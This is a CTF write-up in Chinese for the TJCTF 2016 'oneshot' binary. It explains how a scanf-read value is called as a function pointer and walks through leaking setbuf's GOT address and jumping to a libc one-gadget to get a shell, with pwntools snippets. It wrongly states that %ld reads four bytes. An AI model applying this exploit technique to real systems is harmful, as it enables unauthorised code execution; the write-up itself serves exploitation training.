TJCTF 2016-oneshot

1.常规checksec,只开了NX,然后IDA打开找漏洞。发现找不到什么漏洞,但是有个很奇怪的地方

1
2
3
4
5
6
7
#注释头

__int64 (__fastcall *v4)(const char *); // [rsp+8h] [rbp-8h]
---------------------------------------------------------------------------
__isoc99_scanf("%ld", &v4);
-------------------------------------------------------------------------
return v4("Good luck!");

查看反汇编代码后发现会有这么一串代码,v4是我们输入的东西,却被以函数形式调用。在汇编窗口中看下,发现call puts函数之后的代码形式是这样的。

1
2
3
4
5
6
7
8
#注释头

var_8 = qword ptr -8
--------------------------------------------------------
mov rax, [rbp+var_8]
mov rdx, rax
mov eax, 0
call rdx

也就是把我们输入的保存在var_8里的内容,给了rax,rax又给了rdx,之后call rdx。也就是我们输入的东西最后会被当初代码指令来执行。

2.程序不存在栈溢出,输入只能是4个字节,已经规定好了。%ld代表long int,四个字节,程序又没有一次getshell的后门函数,所以就只能靠这4个字节来getshell。

3.这里考虑使用one gadget RCE来一步getshell,首先在Linux下查找一下题目给的libc中有没有onegadget:

img

4.这样就可以通过一次跳转来getshell,但是第一条有限制条件,由于汇编代码中在call rdx之前有mov eax,0;即rax就等于0。(eax在64位程序下就是rax的低32位)或者先调试看看能不能满足条件,经过调试发现执行到call rdx时rax = 0,也满足要求,那么就尝试写payload。

5.本地中首先需要连接到指定的库文件中,可以先在linux中ldd libc库文件来看题目给的库文件是什么版本,之后修改这段代码让process能够连接到指定版本的libc文件。(利用pwndocker,或者自己下个对应版本的ubuntu—docker,然后安装python之类的)

io = process([‘/glibc/2.24/64/lib/ld-linux-x86-64.so.2’, ‘./tvstation’], env={“LD_PRELOAD”:”./libc.so.6_x64”})

6.由于不知道onegadget被libc加载进入之后是在什么地址,所以现在还需要泄露一个地址,刚好程序中有两个isoc99_scanf,第一个可以用来输入某个函数.got表中onegadget的地址,然后程序会打印出来该函数真实地址,对应代码为:

1
2
3
4
#注释头

__isoc99_scanf("%ld", &v4);
printf("Value: 0x%016lx\n", *(_QWORD *)v4);

但注意输入的格式。由于输入格式为__isoc99_scanf(“%ld”, &v4)中的ld,也就是十进制有符号长整型,(l=long型,d=Decimal也就是十进制)所以我们需要将该地址转化为十进制数然后输入,因为scanf格式规定了,之后打印的格式是%016lx,其中x代表Hexadecimal,也就是16进制,16代表总共输出16位,0代表不足16位则高位补零。(如果不知道可以拿visualstudio测试一下就可以)

7.所以第一次输入应该为某个函数地址对应的十进制,这里选取setbuf函数,因为setbuf函数刚好在.got.plt表中,同时也从外部引用,在extern也有,十六进制地址为:0x600ae0(这里选用puts,printf,甚至__libc_start_main也行,只要满足在.got.plt表中和extern表中)也就是6294240,即io.sendline(“6294240”)。这样就可以打印出setbuf函数被加载进内存的地址,之后获取这个地址,先接收io.recvuntil(“Value: “),使得接下来打印的是setbuf的内存地址,之后使用

setbuf_memory_addr = int(io.recv()[:18], 16)

表示总共接收18个字符,之后以16进制形式转化位int,10进制形式。这里总共应该会打印18个字符,16+0x,也就是18个。

8.之后计算偏移量,得到one_gadget_rce在内存中的地址即可:注意要转化为str字串形式发送

io.sendline(str(setbuf_memory_addr - (setbuf_addr_libc - one_gadget_rce_libc)))

9.最后io.interactive()即可getshell。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157